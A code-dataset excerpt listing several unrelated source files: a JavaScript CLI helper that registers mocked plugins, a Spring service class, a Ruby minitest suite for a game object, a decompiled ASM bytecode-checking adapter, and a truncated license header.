repo_name stringlengths 6 101 | path stringlengths 4 300 | text stringlengths 7 1.31M |
|---|---|---|
fossabot/oc | src/cli/domain/get-mocked-plugins.js | <gh_stars>0
'use strict';
const fs = require('fs-extra');
const path = require('path');
const _ = require('lodash');
const settings = require('../../resources/settings');
const strings = require('../../resources/');
const isMockValid = plugin => {
const isFunction = _.isFunction(plugin);
const isValidObject =
_.isObject(plugin) &&
_.isFunction(plugin.register) &&
_.isFunction(plugin.execute);
return isFunction || isValidObject;
};
const defaultRegister = (options, dependencies, next) => next();
const registerStaticMocks = (mocks, logger) =>
_.map(mocks, (mockedValue, pluginName) => {
logger.ok(`├── ${pluginName} () => ${mockedValue}`);
return {
name: pluginName,
register: {
register: defaultRegister,
execute: () => mockedValue
}
};
});
const registerDynamicMocks = (ocJsonLocation, mocks, logger) =>
_.map(mocks, (source, pluginName) => {
let pluginMock;
try {
pluginMock = require(path.resolve(ocJsonLocation, source));
} catch (er) {
logger.err(er.toString());
return;
}
if (!isMockValid(pluginMock)) {
logger.err(`├── ${pluginName} () => Error (skipping)`);
logger.err(strings.errors.cli.MOCK_PLUGIN_IS_NOT_VALID);
return;
}
const register = pluginMock.register || defaultRegister;
const execute = pluginMock.execute || pluginMock;
logger.ok(`├── ${pluginName} () => [Function]`);
return {
name: pluginName,
register: { execute, register }
};
}).filter(pluginMock => pluginMock);
const findPath = function(pathToResolve, fileName) {
const rootDir = fs.realpathSync('.');
const fileToResolve = path.join(pathToResolve, fileName);
if (!fs.existsSync(fileToResolve)) {
if (pathToResolve === rootDir) {
return undefined;
} else {
const getParent = pathToResolve =>
pathToResolve
.split('/')
.slice(0, -1)
.join('/');
const parentDir = pathToResolve ? getParent(pathToResolve) : rootDir;
return findPath(parentDir, fileName);
}
}
return fileToResolve;
};
module.exports = function(logger, componentsDir) {
componentsDir = path.resolve(componentsDir || '.');
let plugins = [];
const ocJsonFileName = settings.configFile.src.replace('./', '');
const ocJsonPath = findPath(componentsDir, ocJsonFileName);
if (!ocJsonPath) {
return plugins;
}
const content = fs.readJsonSync(ocJsonPath);
const ocJsonLocation = ocJsonPath.slice(0, -ocJsonFileName.length);
if (!content.mocks || !content.mocks.plugins) {
return plugins;
}
logger.warn(strings.messages.cli.REGISTERING_MOCKED_PLUGINS);
plugins = plugins.concat(
registerStaticMocks(content.mocks.plugins.static, logger)
);
plugins = plugins.concat(
registerDynamicMocks(ocJsonLocation, content.mocks.plugins.dynamic, logger)
);
return plugins;
};
|
FjutAcmer/CodingFirstApiSys | src/main/java/team/fjut/cf/service/impl/SpiderLocalizedRecordServiceImpl.java | <reponame>FjutAcmer/CodingFirstApiSys
package team.fjut.cf.service.impl;
import org.springframework.stereotype.Service;
import team.fjut.cf.mapper.SpiderLocalizedRecordMapper;
import team.fjut.cf.pojo.po.SpiderLocalizedRecord;
import team.fjut.cf.service.SpiderLocalizedRecordService;
import tk.mybatis.mapper.entity.Example;
import javax.annotation.Resource;
import java.util.List;
/**
* @author axiang [2020/5/12]
*/
@Service
public class SpiderLocalizedRecordServiceImpl implements SpiderLocalizedRecordService {
@Resource
SpiderLocalizedRecordMapper spiderLocalizedRecordMapper;
@Override
public int insert(SpiderLocalizedRecord spiderLocalizedRecord) {
return spiderLocalizedRecordMapper.insertSelective(spiderLocalizedRecord);
}
@Override
public int update(SpiderLocalizedRecord spiderLocalizedRecord) {
return spiderLocalizedRecordMapper.updateByPrimaryKey(spiderLocalizedRecord);
}
@Override
public List<SpiderLocalizedRecord> selectByGetProblemId(Integer getProblemId) {
Example example = new Example(SpiderLocalizedRecord.class);
example.createCriteria().andEqualTo("spiderGetProblemId", getProblemId);
return spiderLocalizedRecordMapper.selectByExample(example);
}
}
|
BennyHallett/delve | test/game_test.rb | <gh_stars>1-10
require 'minitest'
require 'minitest/autorun'
require 'delve/game'
class GameTest < Minitest::Test
def setup
@display = mock('object')
@input = mock('object')
@screen_manager = mock('object')
@game = Game.new @display, @screen_manager, @input
end
def test_fail_if_display_is_nil
assert_raises RuntimeError do
@game = Game.new nil, @screen_manager, @input
end
end
def test_fail_if_screen_manager_is_nil
assert_raises RuntimeError do
@game = Game.new @display, nil, @input
end
end
def test_fail_if_input_is_nil
assert_raises RuntimeError do
@game = Game.new @display, @screen_manager, nil
end
end
def test_cannot_start_when_screen_manager_is_empty
@screen_manager.expects(:empty?).returns(true)
assert_raises RuntimeError do
@game.start
end
end
def test_start_game
@display.expects(:render)
@screen_manager.expects(:empty?).returns(false)
@screen_manager.expects(:render).with(@display)
@screen_manager.expects(:update).with(@input).returns(true)
@game.start
end
end
|
christallinqq/melonhack-plus | org/spongepowered/asm/lib/util/CheckMethodAdapter.java | <filename>org/spongepowered/asm/lib/util/CheckMethodAdapter.java
package org.spongepowered.asm.lib.util;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Set;
import org.spongepowered.asm.lib.AnnotationVisitor;
import org.spongepowered.asm.lib.Attribute;
import org.spongepowered.asm.lib.Handle;
import org.spongepowered.asm.lib.Label;
import org.spongepowered.asm.lib.MethodVisitor;
import org.spongepowered.asm.lib.Opcodes;
import org.spongepowered.asm.lib.Type;
import org.spongepowered.asm.lib.TypePath;
import org.spongepowered.asm.lib.tree.MethodNode;
import org.spongepowered.asm.lib.tree.analysis.Analyzer;
import org.spongepowered.asm.lib.tree.analysis.BasicVerifier;
public class CheckMethodAdapter extends MethodVisitor {
public int version;
private int access;
private boolean startCode;
private boolean endCode;
private boolean endMethod;
private int insnCount;
private final Map<Label, Integer> labels;
private Set<Label> usedLabels;
private int expandedFrames;
private int compressedFrames;
private int lastFrame;
private List<Label> handlers;
private static final int[] TYPE;
private static Field labelStatusField;
public CheckMethodAdapter(MethodVisitor var1) {
this(var1, new HashMap());
}
public CheckMethodAdapter(MethodVisitor var1, Map<Label, Integer> var2) {
this(327680, var1, var2);
if (this.getClass() != CheckMethodAdapter.class) {
throw new IllegalStateException();
}
}
protected CheckMethodAdapter(int var1, MethodVisitor var2, Map<Label, Integer> var3) {
super(var1, var2);
this.lastFrame = -1;
this.labels = var3;
this.usedLabels = new HashSet();
this.handlers = new ArrayList();
}
public CheckMethodAdapter(int var1, String var2, String var3, final MethodVisitor var4, Map<Label, Integer> var5) {
this(new MethodNode(327680, var1, var2, var3, (String)null, (String[])null) {
public void visitEnd() {
Analyzer var1 = new Analyzer(new BasicVerifier());
try {
var1.analyze("dummy", this);
} catch (Exception var5) {
if (var5 instanceof IndexOutOfBoundsException && this.maxLocals == 0 && this.maxStack == 0) {
throw new RuntimeException("Data flow checking option requires valid, non zero maxLocals and maxStack values.");
}
var5.printStackTrace();
StringWriter var3 = new StringWriter();
PrintWriter var4x = new PrintWriter(var3, true);
CheckClassAdapter.printAnalyzerResult(this, var1, var4x);
var4x.close();
throw new RuntimeException(var5.getMessage() + ' ' + var3.toString());
}
this.accept(var4);
}
}, var5);
this.access = var1;
}
public void visitParameter(String var1, int var2) {
if (var1 != null) {
checkUnqualifiedName(this.version, var1, "name");
}
CheckClassAdapter.checkAccess(var2, 36880);
super.visitParameter(var1, var2);
}
public AnnotationVisitor visitAnnotation(String var1, boolean var2) {
this.checkEndMethod();
checkDesc(var1, false);
return new CheckAnnotationAdapter(super.visitAnnotation(var1, var2));
}
public AnnotationVisitor visitTypeAnnotation(int var1, TypePath var2, String var3, boolean var4) {
this.checkEndMethod();
int var5 = var1 >>> 24;
if (var5 != 1 && var5 != 18 && var5 != 20 && var5 != 21 && var5 != 22 && var5 != 23) {
throw new IllegalArgumentException("Invalid type reference sort 0x" + Integer.toHexString(var5));
} else {
CheckClassAdapter.checkTypeRefAndPath(var1, var2);
checkDesc(var3, false);
return new CheckAnnotationAdapter(super.visitTypeAnnotation(var1, var2, var3, var4));
}
}
public AnnotationVisitor visitAnnotationDefault() {
this.checkEndMethod();
return new CheckAnnotationAdapter(super.visitAnnotationDefault(), false);
}
public AnnotationVisitor visitParameterAnnotation(int var1, String var2, boolean var3) {
this.checkEndMethod();
checkDesc(var2, false);
return new CheckAnnotationAdapter(super.visitParameterAnnotation(var1, var2, var3));
}
public void visitAttribute(Attribute var1) {
this.checkEndMethod();
if (var1 == null) {
throw new IllegalArgumentException("Invalid attribute (must not be null)");
} else {
super.visitAttribute(var1);
}
}
public void visitCode() {
if ((this.access & 1024) != 0) {
throw new RuntimeException("Abstract methods cannot have code");
} else {
this.startCode = true;
super.visitCode();
}
}
public void visitFrame(int var1, int var2, Object[] var3, int var4, Object[] var5) {
if (this.insnCount == this.lastFrame) {
throw new IllegalStateException("At most one frame can be visited at a given code location.");
} else {
this.lastFrame = this.insnCount;
int var6;
int var7;
switch(var1) {
case -1:
case 0:
var6 = Integer.MAX_VALUE;
var7 = Integer.MAX_VALUE;
break;
case 1:
case 2:
var6 = 3;
var7 = 0;
break;
case 3:
var6 = 0;
var7 = 0;
break;
case 4:
var6 = 0;
var7 = 1;
break;
default:
throw new IllegalArgumentException("Invalid frame type " + var1);
}
if (var2 > var6) {
throw new IllegalArgumentException("Invalid nLocal=" + var2 + " for frame type " + var1);
} else if (var4 > var7) {
throw new IllegalArgumentException("Invalid nStack=" + var4 + " for frame type " + var1);
} else {
int var8;
if (var1 != 2) {
if (var2 > 0 && (var3 == null || var3.length < var2)) {
throw new IllegalArgumentException("Array local[] is shorter than nLocal");
}
for(var8 = 0; var8 < var2; ++var8) {
this.checkFrameValue(var3[var8]);
}
}
if (var4 > 0 && (var5 == null || var5.length < var4)) {
throw new IllegalArgumentException("Array stack[] is shorter than nStack");
} else {
for(var8 = 0; var8 < var4; ++var8) {
this.checkFrameValue(var5[var8]);
}
if (var1 == -1) {
++this.expandedFrames;
} else {
++this.compressedFrames;
}
if (this.expandedFrames > 0 && this.compressedFrames > 0) {
throw new RuntimeException("Expanded and compressed frames must not be mixed.");
} else {
super.visitFrame(var1, var2, var3, var4, var5);
}
}
}
}
}
public void visitInsn(int var1) {
this.checkStartCode();
this.checkEndCode();
checkOpcode(var1, 0);
super.visitInsn(var1);
++this.insnCount;
}
public void visitIntInsn(int var1, int var2) {
this.checkStartCode();
this.checkEndCode();
checkOpcode(var1, 1);
switch(var1) {
case 16:
checkSignedByte(var2, "Invalid operand");
break;
case 17:
checkSignedShort(var2, "Invalid operand");
break;
default:
if (var2 < 4 || var2 > 11) {
throw new IllegalArgumentException("Invalid operand (must be an array type code T_...): " + var2);
}
}
super.visitIntInsn(var1, var2);
++this.insnCount;
}
public void visitVarInsn(int var1, int var2) {
this.checkStartCode();
this.checkEndCode();
checkOpcode(var1, 2);
checkUnsignedShort(var2, "Invalid variable index");
super.visitVarInsn(var1, var2);
++this.insnCount;
}
public void visitTypeInsn(int var1, String var2) {
this.checkStartCode();
this.checkEndCode();
checkOpcode(var1, 3);
checkInternalName(var2, "type");
if (var1 == 187 && var2.charAt(0) == '[') {
throw new IllegalArgumentException("NEW cannot be used to create arrays: " + var2);
} else {
super.visitTypeInsn(var1, var2);
++this.insnCount;
}
}
public void visitFieldInsn(int var1, String var2, String var3, String var4) {
this.checkStartCode();
this.checkEndCode();
checkOpcode(var1, 4);
checkInternalName(var2, "owner");
checkUnqualifiedName(this.version, var3, "name");
checkDesc(var4, false);
super.visitFieldInsn(var1, var2, var3, var4);
++this.insnCount;
}
/** @deprecated */
@Deprecated
public void visitMethodInsn(int var1, String var2, String var3, String var4) {
if (this.api >= 327680) {
super.visitMethodInsn(var1, var2, var3, var4);
} else {
this.doVisitMethodInsn(var1, var2, var3, var4, var1 == 185);
}
}
public void visitMethodInsn(int var1, String var2, String var3, String var4, boolean var5) {
if (this.api < 327680) {
super.visitMethodInsn(var1, var2, var3, var4, var5);
} else {
this.doVisitMethodInsn(var1, var2, var3, var4, var5);
}
}
private void doVisitMethodInsn(int var1, String var2, String var3, String var4, boolean var5) {
this.checkStartCode();
this.checkEndCode();
checkOpcode(var1, 5);
if (var1 != 183 || !"<init>".equals(var3)) {
checkMethodIdentifier(this.version, var3, "name");
}
checkInternalName(var2, "owner");
checkMethodDesc(var4);
if (var1 == 182 && var5) {
throw new IllegalArgumentException("INVOKEVIRTUAL can't be used with interfaces");
} else if (var1 == 185 && !var5) {
throw new IllegalArgumentException("INVOKEINTERFACE can't be used with classes");
} else if (var1 == 183 && var5 && (this.version & '\uffff') < 52) {
throw new IllegalArgumentException("INVOKESPECIAL can't be used with interfaces prior to Java 8");
} else {
if (this.mv != null) {
this.mv.visitMethodInsn(var1, var2, var3, var4, var5);
}
++this.insnCount;
}
}
public void visitInvokeDynamicInsn(String var1, String var2, Handle var3, Object... var4) {
this.checkStartCode();
this.checkEndCode();
checkMethodIdentifier(this.version, var1, "name");
checkMethodDesc(var2);
if (var3.getTag() != 6 && var3.getTag() != 8) {
throw new IllegalArgumentException("invalid handle tag " + var3.getTag());
} else {
for(int var5 = 0; var5 < var4.length; ++var5) {
this.checkLDCConstant(var4[var5]);
}
super.visitInvokeDynamicInsn(var1, var2, var3, var4);
++this.insnCount;
}
}
public void visitJumpInsn(int var1, Label var2) {
this.checkStartCode();
this.checkEndCode();
checkOpcode(var1, 6);
this.checkLabel(var2, false, "label");
checkNonDebugLabel(var2);
super.visitJumpInsn(var1, var2);
this.usedLabels.add(var2);
++this.insnCount;
}
public void visitLabel(Label var1) {
this.checkStartCode();
this.checkEndCode();
this.checkLabel(var1, false, "label");
if (this.labels.get(var1) != null) {
throw new IllegalArgumentException("Already visited label");
} else {
this.labels.put(var1, this.insnCount);
super.visitLabel(var1);
}
}
public void visitLdcInsn(Object var1) {
this.checkStartCode();
this.checkEndCode();
this.checkLDCConstant(var1);
super.visitLdcInsn(var1);
++this.insnCount;
}
public void visitIincInsn(int var1, int var2) {
this.checkStartCode();
this.checkEndCode();
checkUnsignedShort(var1, "Invalid variable index");
checkSignedShort(var2, "Invalid increment");
super.visitIincInsn(var1, var2);
++this.insnCount;
}
public void visitTableSwitchInsn(int var1, int var2, Label var3, Label... var4) {
this.checkStartCode();
this.checkEndCode();
if (var2 < var1) {
throw new IllegalArgumentException("Max = " + var2 + " must be greater than or equal to min = " + var1);
} else {
this.checkLabel(var3, false, "default label");
checkNonDebugLabel(var3);
if (var4 != null && var4.length == var2 - var1 + 1) {
int var5;
for(var5 = 0; var5 < var4.length; ++var5) {
this.checkLabel(var4[var5], false, "label at index " + var5);
checkNonDebugLabel(var4[var5]);
}
super.visitTableSwitchInsn(var1, var2, var3, var4);
for(var5 = 0; var5 < var4.length; ++var5) {
this.usedLabels.add(var4[var5]);
}
++this.insnCount;
} else {
throw new IllegalArgumentException("There must be max - min + 1 labels");
}
}
}
public void visitLookupSwitchInsn(Label var1, int[] var2, Label[] var3) {
this.checkEndCode();
this.checkStartCode();
this.checkLabel(var1, false, "default label");
checkNonDebugLabel(var1);
if (var2 != null && var3 != null && var2.length == var3.length) {
int var4;
for(var4 = 0; var4 < var3.length; ++var4) {
this.checkLabel(var3[var4], false, "label at index " + var4);
checkNonDebugLabel(var3[var4]);
}
super.visitLookupSwitchInsn(var1, var2, var3);
this.usedLabels.add(var1);
for(var4 = 0; var4 < var3.length; ++var4) {
this.usedLabels.add(var3[var4]);
}
++this.insnCount;
} else {
throw new IllegalArgumentException("There must be the same number of keys and labels");
}
}
public void visitMultiANewArrayInsn(String var1, int var2) {
this.checkStartCode();
this.checkEndCode();
checkDesc(var1, false);
if (var1.charAt(0) != '[') {
throw new IllegalArgumentException("Invalid descriptor (must be an array type descriptor): " + var1);
} else if (var2 < 1) {
throw new IllegalArgumentException("Invalid dimensions (must be greater than 0): " + var2);
} else if (var2 > var1.lastIndexOf(91) + 1) {
throw new IllegalArgumentException("Invalid dimensions (must not be greater than dims(desc)): " + var2);
} else {
super.visitMultiANewArrayInsn(var1, var2);
++this.insnCount;
}
}
public AnnotationVisitor visitInsnAnnotation(int var1, TypePath var2, String var3, boolean var4) {
this.checkStartCode();
this.checkEndCode();
int var5 = var1 >>> 24;
if (var5 != 67 && var5 != 68 && var5 != 69 && var5 != 70 && var5 != 71 && var5 != 72 && var5 != 73 && var5 != 74 && var5 != 75) {
throw new IllegalArgumentException("Invalid type reference sort 0x" + Integer.toHexString(var5));
} else {
CheckClassAdapter.checkTypeRefAndPath(var1, var2);
checkDesc(var3, false);
return new CheckAnnotationAdapter(super.visitInsnAnnotation(var1, var2, var3, var4));
}
}
public void visitTryCatchBlock(Label var1, Label var2, Label var3, String var4) {
this.checkStartCode();
this.checkEndCode();
this.checkLabel(var1, false, "start label");
this.checkLabel(var2, false, "end label");
this.checkLabel(var3, false, "handler label");
checkNonDebugLabel(var1);
checkNonDebugLabel(var2);
checkNonDebugLabel(var3);
if (this.labels.get(var1) == null && this.labels.get(var2) == null && this.labels.get(var3) == null) {
if (var4 != null) {
checkInternalName(var4, "type");
}
super.visitTryCatchBlock(var1, var2, var3, var4);
this.handlers.add(var1);
this.handlers.add(var2);
} else {
throw new IllegalStateException("Try catch blocks must be visited before their labels");
}
}
public AnnotationVisitor visitTryCatchAnnotation(int var1, TypePath var2, String var3, boolean var4) {
this.checkStartCode();
this.checkEndCode();
int var5 = var1 >>> 24;
if (var5 != 66) {
throw new IllegalArgumentException("Invalid type reference sort 0x" + Integer.toHexString(var5));
} else {
CheckClassAdapter.checkTypeRefAndPath(var1, var2);
checkDesc(var3, false);
return new CheckAnnotationAdapter(super.visitTryCatchAnnotation(var1, var2, var3, var4));
}
}
public void visitLocalVariable(String var1, String var2, String var3, Label var4, Label var5, int var6) {
this.checkStartCode();
this.checkEndCode();
checkUnqualifiedName(this.version, var1, "name");
checkDesc(var2, false);
this.checkLabel(var4, true, "start label");
this.checkLabel(var5, true, "end label");
checkUnsignedShort(var6, "Invalid variable index");
int var7 = (Integer)this.labels.get(var4);
int var8 = (Integer)this.labels.get(var5);
if (var8 < var7) {
throw new IllegalArgumentException("Invalid start and end labels (end must be greater than start)");
} else {
super.visitLocalVariable(var1, var2, var3, var4, var5, var6);
}
}
public AnnotationVisitor visitLocalVariableAnnotation(int var1, TypePath var2, Label[] var3, Label[] var4, int[] var5, String var6, boolean var7) {
this.checkStartCode();
this.checkEndCode();
int var8 = var1 >>> 24;
if (var8 != 64 && var8 != 65) {
throw new IllegalArgumentException("Invalid type reference sort 0x" + Integer.toHexString(var8));
} else {
CheckClassAdapter.checkTypeRefAndPath(var1, var2);
checkDesc(var6, false);
if (var3 != null && var4 != null && var5 != null && var4.length == var3.length && var5.length == var3.length) {
for(int var9 = 0; var9 < var3.length; ++var9) {
this.checkLabel(var3[var9], true, "start label");
this.checkLabel(var4[var9], true, "end label");
checkUnsignedShort(var5[var9], "Invalid variable index");
int var10 = (Integer)this.labels.get(var3[var9]);
int var11 = (Integer)this.labels.get(var4[var9]);
if (var11 < var10) {
throw new IllegalArgumentException("Invalid start and end labels (end must be greater than start)");
}
}
return super.visitLocalVariableAnnotation(var1, var2, var3, var4, var5, var6, var7);
} else {
throw new IllegalArgumentException("Invalid start, end and index arrays (must be non null and of identical length");
}
}
}
public void visitLineNumber(int var1, Label var2) {
this.checkStartCode();
this.checkEndCode();
checkUnsignedShort(var1, "Invalid line number");
this.checkLabel(var2, true, "start label");
super.visitLineNumber(var1, var2);
}
public void visitMaxs(int var1, int var2) {
this.checkStartCode();
this.checkEndCode();
this.endCode = true;
Iterator var3 = this.usedLabels.iterator();
while(var3.hasNext()) {
Label var4 = (Label)var3.next();
if (this.labels.get(var4) == null) {
throw new IllegalStateException("Undefined label used");
}
}
int var6 = 0;
Integer var5;
Integer var7;
do {
if (var6 >= this.handlers.size()) {
checkUnsignedShort(var1, "Invalid max stack");
checkUnsignedShort(var2, "Invalid max locals");
super.visitMaxs(var1, var2);
return;
}
var7 = (Integer)this.labels.get(this.handlers.get(var6++));
var5 = (Integer)this.labels.get(this.handlers.get(var6++));
if (var7 == null || var5 == null) {
throw new IllegalStateException("Undefined try catch block labels");
}
} while(var5 > var7);
throw new IllegalStateException("Emty try catch block handler range");
}
public void visitEnd() {
this.checkEndMethod();
this.endMethod = true;
super.visitEnd();
}
void checkStartCode() {
if (!this.startCode) {
throw new IllegalStateException("Cannot visit instructions before visitCode has been called.");
}
}
void checkEndCode() {
if (this.endCode) {
throw new IllegalStateException("Cannot visit instructions after visitMaxs has been called.");
}
}
void checkEndMethod() {
if (this.endMethod) {
throw new IllegalStateException("Cannot visit elements after visitEnd has been called.");
}
}
void checkFrameValue(Object var1) {
if (var1 != Opcodes.TOP && var1 != Opcodes.INTEGER && var1 != Opcodes.FLOAT && var1 != Opcodes.LONG && var1 != Opcodes.DOUBLE && var1 != Opcodes.NULL && var1 != Opcodes.UNINITIALIZED_THIS) {
if (var1 instanceof String) {
checkInternalName((String)var1, "Invalid stack frame value");
} else if (!(var1 instanceof Label)) {
throw new IllegalArgumentException("Invalid stack frame value: " + var1);
} else {
this.usedLabels.add((Label)var1);
}
}
}
static void checkOpcode(int var0, int var1) {
if (var0 < 0 || var0 > 199 || TYPE[var0] != var1) {
throw new IllegalArgumentException("Invalid opcode: " + var0);
}
}
static void checkSignedByte(int var0, String var1) {
if (var0 < -128 || var0 > 127) {
throw new IllegalArgumentException(var1 + " (must be a signed byte): " + var0);
}
}
static void checkSignedShort(int var0, String var1) {
if (var0 < -32768 || var0 > 32767) {
throw new IllegalArgumentException(var1 + " (must be a signed short): " + var0);
}
}
static void checkUnsignedShort(int var0, String var1) {
if (var0 < 0 || var0 > 65535) {
throw new IllegalArgumentException(var1 + " (must be an unsigned short): " + var0);
}
}
static void checkConstant(Object var0) {
if (!(var0 instanceof Integer) && !(var0 instanceof Float) && !(var0 instanceof Long) && !(var0 instanceof Double) && !(var0 instanceof String)) {
throw new IllegalArgumentException("Invalid constant: " + var0);
}
}
void checkLDCConstant(Object var1) {
int var2;
if (var1 instanceof Type) {
var2 = ((Type)var1).getSort();
if (var2 != 10 && var2 != 9 && var2 != 11) {
throw new IllegalArgumentException("Illegal LDC constant value");
}
if (var2 != 11 && (this.version & '\uffff') < 49) {
throw new IllegalArgumentException("ldc of a constant class requires at least version 1.5");
}
if (var2 == 11 && (this.version & '\uffff') < 51) {
throw new IllegalArgumentException("ldc of a method type requires at least version 1.7");
}
} else if (var1 instanceof Handle) {
if ((this.version & '\uffff') < 51) {
throw new IllegalArgumentException("ldc of a handle requires at least version 1.7");
}
var2 = ((Handle)var1).getTag();
if (var2 < 1 || var2 > 9) {
throw new IllegalArgumentException("invalid handle tag " + var2);
}
} else {
checkConstant(var1);
}
}
static void checkUnqualifiedName(int var0, String var1, String var2) {
if ((var0 & '\uffff') < 49) {
checkIdentifier(var1, var2);
} else {
for(int var3 = 0; var3 < var1.length(); ++var3) {
if (".;[/".indexOf(var1.charAt(var3)) != -1) {
throw new IllegalArgumentException("Invalid " + var2 + " (must be a valid unqualified name): " + var1);
}
}
}
}
static void checkIdentifier(String var0, String var1) {
checkIdentifier(var0, 0, -1, var1);
}
static void checkIdentifier(String var0, int var1, int var2, String var3) {
if (var0 != null) {
if (var2 == -1) {
if (var0.length() <= var1) {
throw new IllegalArgumentException("Invalid " + var3 + " (must not be null or empty)");
}
} else if (var2 <= var1) {
throw new IllegalArgumentException("Invalid " + var3 + " (must not be null or empty)");
}
if (!Character.isJavaIdentifierStart(var0.charAt(var1))) {
throw new IllegalArgumentException("Invalid " + var3 + " (must be a valid Java identifier): " + var0);
} else {
int var4 = var2 == -1 ? var0.length() : var2;
for(int var5 = var1 + 1; var5 < var4; ++var5) {
if (!Character.isJavaIdentifierPart(var0.charAt(var5))) {
throw new IllegalArgumentException("Invalid " + var3 + " (must be a valid Java identifier): " + var0);
}
}
}
} else {
throw new IllegalArgumentException("Invalid " + var3 + " (must not be null or empty)");
}
}
static void checkMethodIdentifier(int var0, String var1, String var2) {
if (var1 != null && var1.length() != 0) {
int var3;
if ((var0 & '\uffff') >= 49) {
for(var3 = 0; var3 < var1.length(); ++var3) {
if (".;[/<>".indexOf(var1.charAt(var3)) != -1) {
throw new IllegalArgumentException("Invalid " + var2 + " (must be a valid unqualified name): " + var1);
}
}
} else if (!Character.isJavaIdentifierStart(var1.charAt(0))) {
throw new IllegalArgumentException("Invalid " + var2 + " (must be a '<init>', '<clinit>' or a valid Java identifier): " + var1);
} else {
for(var3 = 1; var3 < var1.length(); ++var3) {
if (!Character.isJavaIdentifierPart(var1.charAt(var3))) {
throw new IllegalArgumentException("Invalid " + var2 + " (must be '<init>' or '<clinit>' or a valid Java identifier): " + var1);
}
}
}
} else {
throw new IllegalArgumentException("Invalid " + var2 + " (must not be null or empty)");
}
}
static void checkInternalName(String var0, String var1) {
if (var0 != null && var0.length() != 0) {
if (var0.charAt(0) == '[') {
checkDesc(var0, false);
} else {
checkInternalName(var0, 0, -1, var1);
}
} else {
throw new IllegalArgumentException("Invalid " + var1 + " (must not be null or empty)");
}
}
static void checkInternalName(String var0, int var1, int var2, String var3) {
int var4 = var2 == -1 ? var0.length() : var2;
try {
int var5 = var1;
int var6;
do {
var6 = var0.indexOf(47, var5 + 1);
if (var6 == -1 || var6 > var4) {
var6 = var4;
}
checkIdentifier(var0, var5, var6, (String)null);
var5 = var6 + 1;
} while(var6 != var4);
} catch (IllegalArgumentException var7) {
throw new IllegalArgumentException("Invalid " + var3 + " (must be a fully qualified class name in internal form): " + var0);
}
}
static void checkDesc(String var0, boolean var1) {
int var2 = checkDesc(var0, 0, var1);
if (var2 != var0.length()) {
throw new IllegalArgumentException("Invalid descriptor: " + var0);
}
}
static int checkDesc(String var0, int var1, boolean var2) {
if (var0 != null && var1 < var0.length()) {
int var3;
switch(var0.charAt(var1)) {
case 'B':
case 'C':
case 'D':
case 'F':
case 'I':
case 'J':
case 'S':
case 'Z':
return var1 + 1;
case 'E':
case 'G':
case 'H':
case 'K':
case 'M':
case 'N':
case 'O':
case 'P':
case 'Q':
case 'R':
case 'T':
case 'U':
case 'W':
case 'X':
case 'Y':
default:
throw new IllegalArgumentException("Invalid descriptor: " + var0);
case 'L':
var3 = var0.indexOf(59, var1);
if (var3 != -1 && var3 - var1 >= 2) {
try {
checkInternalName(var0, var1 + 1, var3, (String)null);
} catch (IllegalArgumentException var5) {
throw new IllegalArgumentException("Invalid descriptor: " + var0);
}
return var3 + 1;
}
throw new IllegalArgumentException("Invalid descriptor: " + var0);
case 'V':
if (var2) {
return var1 + 1;
}
throw new IllegalArgumentException("Invalid descriptor: " + var0);
case '[':
for(var3 = var1 + 1; var3 < var0.length() && var0.charAt(var3) == '['; ++var3) {
}
if (var3 < var0.length()) {
return checkDesc(var0, var3, false);
} else {
throw new IllegalArgumentException("Invalid descriptor: " + var0);
}
}
} else {
throw new IllegalArgumentException("Invalid type descriptor (must not be null or empty)");
}
}
static void checkMethodDesc(String var0) {
if (var0 != null && var0.length() != 0) {
if (var0.charAt(0) == '(' && var0.length() >= 3) {
int var1 = 1;
if (var0.charAt(var1) != ')') {
do {
if (var0.charAt(var1) == 'V') {
throw new IllegalArgumentException("Invalid descriptor: " + var0);
}
var1 = checkDesc(var0, var1, false);
} while(var1 < var0.length() && var0.charAt(var1) != ')');
}
var1 = checkDesc(var0, var1 + 1, true);
if (var1 != var0.length()) {
throw new IllegalArgumentException("Invalid descriptor: " + var0);
}
} else {
throw new IllegalArgumentException("Invalid descriptor: " + var0);
}
} else {
throw new IllegalArgumentException("Invalid method descriptor (must not be null or empty)");
}
}
void checkLabel(Label var1, boolean var2, String var3) {
if (var1 == null) {
throw new IllegalArgumentException("Invalid " + var3 + " (must not be null)");
} else if (var2 && this.labels.get(var1) == null) {
throw new IllegalArgumentException("Invalid " + var3 + " (must be visited first)");
}
}
private static void checkNonDebugLabel(Label var0) {
Field var1 = getLabelStatusField();
boolean var2 = false;
int var5;
try {
var5 = var1 == null ? 0 : (Integer)var1.get(var0);
} catch (IllegalAccessException var4) {
throw new Error("Internal error");
}
if ((var5 & 1) != 0) {
throw new IllegalArgumentException("Labels used for debug info cannot be reused for control flow");
}
}
private static Field getLabelStatusField() {
if (labelStatusField == null) {
labelStatusField = getLabelField("a");
if (labelStatusField == null) {
labelStatusField = getLabelField("status");
}
}
return labelStatusField;
}
private static Field getLabelField(String var0) {
try {
Field var1 = Label.class.getDeclaredField(var0);
var1.setAccessible(true);
return var1;
} catch (NoSuchFieldException var2) {
return null;
}
}
static {
String var0 = "BBBBBBBBBBBBBBBBCCIAADDDDDAAAAAAAAAAAAAAAAAAAABBBBBBBBDDDDDAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBJBBBBBBBBBBBBBBBBBBBBHHHHHHHHHHHHHHHHDKLBBBBBBFFFFGGGGAECEBBEEBBAMHHAA";
TYPE = new int[var0.length()];
for(int var1 = 0; var1 < TYPE.length; ++var1) {
TYPE[var1] = var0.charAt(var1) - 65 - 1;
}
}
}
|
CanadaHealthInfoway/message-builder | chi-maven-plugin/src/test/java/ca/infoway/messagebuilder/generator/util/ClassBasedDomainTypeTest.java | /**
* Copyright 2013 Canada Health Infoway, Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
* Author: $LastChangedBy: tmcgrady $
* Last modified: $LastChangedDate: 2012-01-10 21:44:14 -0500 (Tue, 10 Jan 2012) $
* Revision: $LastChangedRevision: 3332 $
*/
